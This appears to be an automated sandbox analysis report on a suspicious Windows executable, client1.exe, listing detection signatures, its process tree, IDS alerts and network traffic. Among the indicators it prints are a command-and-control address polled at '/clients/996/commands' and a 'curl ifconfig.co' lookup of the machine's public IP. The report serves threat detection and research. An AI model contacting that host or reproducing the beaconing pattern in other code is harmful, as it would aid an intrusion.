Edit tour

Windows Analysis Report
client1.exe

Overview

General Information

Sample name:	client1.exe
Analysis ID:	1548293
MD5:	950c13286d42ad2da05b1778c1e2d747
SHA1:	3096643a168bcc2841592c676237aa6f1132ce4c
SHA256:	31c85a75181aaacb26b304987e11920b59fadea48f15dc6996c4e5d48a1b41e0
Tags:	exeuser-lontze7
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Machine Learning detection for sample

Potentially malicious time measurement code found

Uses known network protocols on non-standard ports

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May check the online IP address of the machine

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

client1.exe (PID: 4052 cmdline: "C:\Users\user\Desktop\client1.exe" MD5: 950C13286D42AD2DA05B1778C1E2D747)

client1.exe (PID: 6776 cmdline: "C:\Users\user\Desktop\client1.exe" MD5: 950C13286D42AD2DA05B1778C1E2D747)

cmd.exe (PID: 964 cmdline: C:\Windows\system32\cmd.exe /c "curl ifconfig.co" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4032 cmdline: curl ifconfig.co MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cmd.exe (PID: 4040 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl ifconfig.co", CommandLine: C:\Windows\system32\cmd.exe /c "curl ifconfig.co", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\client1.exe", ParentImage: C:\Users\user\Desktop\client1.exe, ParentProcessId: 6776, ParentProcessName: client1.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl ifconfig.co", ProcessId: 964, ProcessName: cmd.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T09:49:36.882714+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49712	TCP
2024-11-04T09:50:15.115068+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49723	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: client1.exe

Joe Sandbox ML: detected

Source: client1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696755408.00007FFBBB5D3000.00000002.00000001.01000000.0000000C.sdmp, select.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: client1.exe, 00000000.00000003.1456400371.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: client1.exe, 00000002.00000002.2697114928.00007FFBBB640000.00000002.00000001.01000000.00000007.sdmp, _ctypes.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2695572139.00007FFBAB4C7000.00000002.00000001.01000000.00000011.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: client1.exe, 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmp, _decimal.pyd.0.dr
Source:	Binary string: D:\a\bcrypt\bcrypt\bcrypt-4.0.1\src\_bcrypt\target\x86_64-pc-windows-msvc\release\deps\bcrypt_rust.pdb source: _bcrypt.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696852289.00007FFBBB5FC000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: client1.exe, 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmp, _decimal.pyd.0.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: client1.exe, 00000002.00000002.2695863482.00007FFBAB626000.00000002.00000001.01000000.0000000E.sdmp, libssl-1_1.dll.0.dr
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: client1.exe, 00000002.00000002.2695863482.00007FFBAB626000.00000002.00000001.01000000.0000000E.sdmp, libssl-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696663196.00007FFBBB553000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: client1.exe, 00000002.00000002.2695138214.00007FFBAB0CF000.00000002.00000001.01000000.0000000F.sdmp, libcrypto-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696852289.00007FFBBB5FC000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: client1.exe, 00000000.00000003.1448200962.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696978385.00007FFBBB61D000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: client1.exe, 00000000.00000003.1447108890.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2697246600.00007FFBBCD51000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: client1.exe, 00000000.00000003.1447108890.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2697246600.00007FFBBCD51000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2696163480.00007FFBB1898000.00000002.00000001.01000000.0000000B.sdmp, _socket.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691113570.000001692E700000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: client1.exe, 00000002.00000002.2695138214.00007FFBAB0CF000.00000002.00000001.01000000.0000000F.sdmp, libcrypto-1_1.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: client1.exe, 00000002.00000002.2693682237.00007FFBAABCC000.00000002.00000001.01000000.00000004.sdmp, python311.dll.0.dr
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: client1.exe, 00000002.00000002.2695138214.00007FFBAB151000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: client1.exe, 00000002.00000002.2696036271.00007FFBAB66D000.00000002.00000001.01000000.0000000D.sdmp, _ssl.pyd.0.dr

Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F627820 FindFirstFileExW,FindClose,	0_2_00007FF79F627820
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 0_2_00007FF79F6409B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF79F6409B4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	2_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F627820 FindFirstFileExW,FindClose,	2_2_00007FF79F627820
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F636714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	2_2_00007FF79F636714
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FF79F6409B4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF79F6409B4
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAB1C2158 FindFirstFileW,	2_2_00007FFBAB1C2158
Source: C:\Users\user\Desktop\client1.exe	Code function: 2_2_00007FFBAAE83229 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,	2_2_00007FFBAAE83229

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 5000

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 146.70.87.211:5000

Source: unknown

DNS query: name: ifconfig.co

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49712
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49723

Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211
Source: unknown	TCP traffic detected without corresponding DNS query: 146.70.87.211

Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ifconfig.coUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /clients/996/commands HTTP/1.1Host: 146.70.87.211:5000User-Agent: python-requests/2.31.0Accept-Encoding: gzip, deflate, brAccept: /Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: ifconfig.co

Source: client1.exe, 00000002.00000002.2692343833.000001692EFE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: client1.exe, 00000002.00000002.2695689625.00007FFBAB535000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.css
Source: client1.exe, 00000002.00000002.2695689625.00007FFBAB535000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.jpg
Source: client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000
Source: client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692478911.000001692F178000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000/clients/996/commands
Source: client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000/clients/996/commands0
Source: client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000/clients/996/commandsP
Source: client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692478911.000001692F178000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000/clients/996/commandsp
Source: client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000bject
Source: client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475247941.000001692E564000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E55D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://146.70.87.211:5000r
Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.coj
Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1452429682.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453212744.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449176412.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448460925.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453344762.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448605663.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448200962.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1456400371.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1454128248.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453212744.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449176412.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448460925.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1452429682.00000262AABE0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453344762.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448605663.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448200962.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1456400371.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1454128248.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: client1.exe, 00000000.00000003.1448897048.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1452429682.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453212744.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448754711.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449176412.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1448460925.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1453554030.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1455973509.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449073775.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000000.00000003.1449006308.00000262AABD2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 